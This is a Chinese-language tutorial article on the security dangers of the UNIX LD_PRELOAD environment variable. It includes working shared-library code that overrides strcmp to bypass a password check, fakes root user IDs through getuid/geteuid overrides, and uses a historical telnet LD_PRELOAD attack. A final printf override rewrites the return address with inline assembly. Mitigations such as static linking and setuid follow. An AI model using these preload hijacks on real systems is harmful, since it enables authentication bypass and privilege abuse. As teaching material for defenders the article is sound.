UNIX下的LD_PRELOAD環境變數
前言
也許這個話題並不新鮮,因為LD_PRELOAD所產生的問題由來已久。不過,在這裡,我還是想討論一下這個環境變數。因為這個環境變數所帶來的安全問題非常嚴重,值得所有的Unix下的程式設計師的注意。
在開始講述為什麼要當心LD_PRELOAD環 境變數之前,請讓我先說明一下程式的連結。所謂連結,也就是說編譯器找到程式中所引用的函式或全域性變數所存在的位置。一般來說,程式的連結分為靜態連結和 動態連結,靜態連結就是把所有所引用到的函式或變數全部地編譯到可執行檔案中。動態連結則不會把函式編譯到可執行檔案中,而是在程式執行時動態地載入函式 庫,也就是執行連結。所以,對於動態連結來說,必然需要一個動態連結庫。動態連結庫的好處在於,一旦動態庫中的函式發生變化,對於可執行程式來說是透明 的,可執行程式無需重新編譯。這對於程式的釋出、維護、更新起到了積極的作用。對於靜態連結的程式來說,函式庫中一個小小的改動需要整個程式的重新編譯、 釋出,對於程式的維護產生了比較大的工作量。
當 然,世界上沒有什麼東西都是完美的,有好就有壞,有得就有失。動態連結所帶來的壞處和其好處一樣同樣是巨大的。因為程式在執行時動態載入函式,這也就為他 人創造了可以影響你的主程式的機會。試想,一旦,你的程式動態載入的函式不是你自己寫的,而是載入了別人的有企圖的程式碼,通過函式的返回值來控制你的程式 的執行流程,那麼,你的程式也就被人“劫持”了。
LD_PRELOAD簡介
在UNIX的動態連結庫的世界中,LD_PRELOAD就是這樣一個環境變數,它可以影響程式的執行時的連結(Runtime linker), 它允許你定義在程式執行前優先載入的動態連結庫。這個功能主要就是用來有選擇性的載入不同動態連結庫中的相同函式。通過這個環境變數,我們可以在主程式和 其動態連結庫的中間載入別的動態連結庫,甚至覆蓋正常的函式庫。一方面,我們可以以此功能來使用自己的或是更好的函式(無需別人的原始碼),而另一方面,我 們也可以以向別人的程式注入惡意程式,從而達到那不可告人的罪惡的目的。
我們知道,Linux的用的都是glibc,有一個叫libc.so.6的檔案,這是幾乎所有Linux下命令的動態連結中,其中有標準C的各種函式。對於GCC而言,預設情況下,所編譯的程式中對標準C函式的連結,都是通過動態連結方式來連結libc.so.6這個函式庫的。
OK。還是讓我用一個例子來看一下用LD_PRELOAD來hack別人的程式。
示例一
我們寫下面一段例程:/* 檔名:verifypasswd.c */
/* 這是一段判斷使用者口令的程式,其中使用到了標準C函式strcmp*/
#include <stdio.h>
#include <string.h>
int main(int argc, char **argv)
{
char passwd[] = "password";
if (argc < 2) {
printf("usage: %s <password>\n", argv[0]);
return;
}
if (!strcmp(passwd, argv[1])) {
printf("Correct Password!\n");
return;
}
printf("Invalid Password!\n");
}
在上面這段程式中,我們使用了strcmp函式來判斷兩個字串是否相等。下面,我們使用一個動態函式庫來過載strcmp函式:int strcmp(const char *s1, const char *s2)
{
printf("hack function invoked. s1=<%s> s2=<%s>\n", s1, s2);
/*永遠返回0,表示兩個字串相等*/
return 0;
}
編譯程式:
$ gcc -o verifypasswd verifypasswd.c
$ gcc -shared -o hack.so hack.c
測試一下程式:(得到正確結果)
$ ./verifypasswd asdf
Invalid Password!
設定LD_PRELOAD變數:(使我們重寫過的strcmp函式的hack.so成為優先載入連結庫)
$ export LD_PRELOAD="./hack.so"
再次執行程式:
$ ./verifypasswd asdf
hack function invoked. s1=<password> s2=<asdf>
Correct Password!
我們可以看到,1)我們的hack.so中的strcmp被呼叫了。2)主程式中執行結果被影響了。如果這是一個系統登入程式,那麼這也就意味著我們用任意口令都可以進入系統了。
示例二
讓我們再來一個示例(這個示例來源於我的工作)。這個軟體是一個分散式計算平臺,軟體在所有的計算機上都有以ROOT身份執行的偵聽程式(Daemon),使用者可以把的一程式從A計算機提交到B計算機上去執行。這些Daemon會把使用者在A計算機上的所有環境變數帶到B計算機上,在B計算機上的Daemon會fork出一個子程序,並
且Daemon會呼叫seteuid、setegid來設定子程的執行宿主,並在子程序空間中設定從A計算機帶過來的環境變數,以模擬使用者的執行環境。(注意:A和B都執行在NIS/NFS方式上)
於是,我們可以寫下這樣的動態連結庫:
/* 檔名:preload.c */ #include <dlfcn.h> #include <unistd.h> #include <sys/types.h> uid_t geteuid( void ) { return 0; } uid_t getuid( void ) { return 0; } uid_t getgid( void ) { return 0; } |
在這裡我們可以看到,我們過載了系統呼叫。於是我們可以通過設定LC_PRELOAD來迫使主程式使用我們的geteuid/getuid/getgid(它們都返回0,也就是Root許可權)。這會導致,上述的那個分散式計算平臺的軟體在提交端A計算機上呼叫了geteuid得到當前使用者ID是0,並把這個使用者ID傳到了執行端B計算機上,於是B計算機上的Daemon就會呼叫seteuid(0),導致我們的程式執行在了Root許可權之下。從而,使用者取得了超級使用者的許可權而為所欲為。
上面的這個preload.c檔案也就早期的為人所熟知的hack程式了。惡意使用者通過在系統中設計LC_PRELOAD環境變數來載入這個動態連結庫,會非常容易影響其它系統命令(如:/bin/sh, /bin/ls, /bin/rm等),讓這些系統命令以Root許可權執行。
讓我們看一下這個函式是怎麼影響系統命令的:
$ id$ gcc -shared -o preload.so preload.c
$ setenv LD_PRELOAD ./preload.so
$ id
uid=0(root) gid=0(root) egid=10(wheel) groups=10(wheel)
$ whoami
root
$ /bin/sh
# <------ 你可以看到命令列提示符會由 $ 變成 #
下面是一個曾經非常著名的系統攻擊
$ telnet telnet> env def LD_PRELOAD /home/hchen/test/preload.so telnet> open localhost # |
當然,這個安全BUG早已被Fix了(雖然,通過id或是whoami或是/bin/sh讓你覺得你像是root,但其實你並沒有root的許可權),當今的Unix系統中不會出現這個的問題。但這並不代表,我們自己寫的程式,或是第三方的程式能夠避免這個問題,尤其是那些以Root方式執行的第三方程式。
所以,在我們程式設計時,我們要隨時警惕著LD_PRELOAD。
如何避免
不可否認,LD_PRELOAD是一個很難纏的問題。目前來說,要解決這個問題,只能想方設法讓LD_PRELOAD失效。目前而言,有以下面兩種方法可以讓LD_PRELOAD失效。
1)通過靜態連結。使用gcc的-static引數可以把libc.so.6靜態鏈入執行程式中。但這也就意味著你的程式不再支援動態連結。2)通過設定執行檔案的setgid / setuid標誌。在有SUID許可權的執行檔案,系統會忽略LD_PRELOAD環境變數。也就是說,如果你有以root方式執行的程式,最好設定上SUID許可權。(如:chmod 4755 daemon)
在一些UNIX版本上,如果你想要使用LD_PRELOAD環境變數,你需要有root許可權。但不管怎麼說,這些個方法目前來看並不是一個徹底的解決方案,只是一個Workaround的方法,是一種因噎廢食的做法,為了安全,只能禁用。
另一個示例
最後,讓我以一個更為“變態”的示例來結束這篇文章吧(這個示例來自某俄羅斯黑客)。看看我們還能用LD_PRELOAD來乾點什麼?下面這個程式comp.c,我們用來比較a和b,很明顯,a和b不相等,所以,怎麼執行都是程式打出Sorry,然後退出。這個示例會告訴我們如何用LD_PRELOAD讓程式列印OK。
/* 原始檔:comp.c 執行檔案:comp*/
#include <stdio.h>
int main(int argc, char **argv)
{
int a = 1, b = 2;
if (a != b) {
printf("Sorry!\n");
return 0;
}
printf("OK!\n");
return 1;
}
我們先來用GDB來研究一下程式的反彙編。注意其中的紅色部分。那就是if語句。如果條件失敗,則會轉到<main+75>。當然,用LD_PRELOAD無法影響表示式,其只能只能影響函式。於是,我們可以在printf上動點歪腦筋。
(gdb) disassemble main
Dump of assembler code for function main:
0x08048368 <main+0>: push %ebp
0x08048369 <main+1>: mov %esp,%ebp
0x0804836b <main+3>: sub $0x18,%esp
0x0804836e <main+6>: and $0xfffffff0,%esp
0x08048371 <main+9>: mov $0x0,%eax
0x08048376 <main+14>: add $0xf,%eax
0x08048379 <main+17>: add $0xf,%eax
0x0804837c <main+20>: shr $0x4,%eax
0x0804837f <main+23>: shl $0x4,%eax
0x08048382 <main+26>: sub %eax,%esp
0x08048384 <main+28>: movl $0x1,0xfffffffc(%ebp)
0x0804838b <main+35>: movl $0x2,0xfffffff8(%ebp)
0x08048392 <main+42>: mov 0xfffffffc(%ebp),%eax
0x08048395 <main+45>: cmp 0xfffffff8(%ebp),%eax
0x0804839a <main+50>: sub $0xc,%esp
0x0804839d <main+53>: push $0x80484b0
0x080483a7 <main+63>: add $0x10,%esp
0x080483aa <main+66>: movl $0x0,0xfffffff4(%ebp)
0x080483b1 <main+73>: jmp 0x80483ca <main+98>
0x080483b3 <main+75>: sub $0xc,%esp
0x080483b6 <main+78>: push $0x80484b8
0x080483bb <main+83>: call 0x80482b0
0x080483c0 <main+88>: add $0x10,%esp
0x080483c3 <main+91>: movl $0x1,0xfffffff4(%ebp)
0x080483ca <main+98>: mov 0xfffffff4(%ebp),%eax
0x080483cd <main+101>: leave
0x080483ce <main+102>: ret
End of assembler dump.
下面是我們過載printf的so檔案。讓printf返回後的棧地址變成<main+75>。從而讓程式接著執行。下面是so檔案的源,都是讓人反感的彙編程式碼。
#include <stdarg.h>
static int (*_printf)(const char *format, ...) = NULL;
int printf(const char *format, ...)
{
if (_printf == NULL) {
/*取得標準庫中的printf的函式地址*/
_printf = (int (*)(const char *format, ...)) dlsym(RTLD_NEXT, "printf");
/*把函式返回的地址置到<main+75>*/
__asm__ __volatile__ (
"movl 0x4(%ebp), %eax \n"
"addl $15, %eax \n"
"movl %eax, 0x4(%ebp)"
);
return 1;
}
/*重置printf的返回地址*/
__asm__ __volatile__ (
"addl $12, %%esp \n"
"jmp *%0 \n"
: /* no output registers */
: "g" (_printf)
: "%esp"
);
}
你可以在你的Linux下試試這段程式碼。:)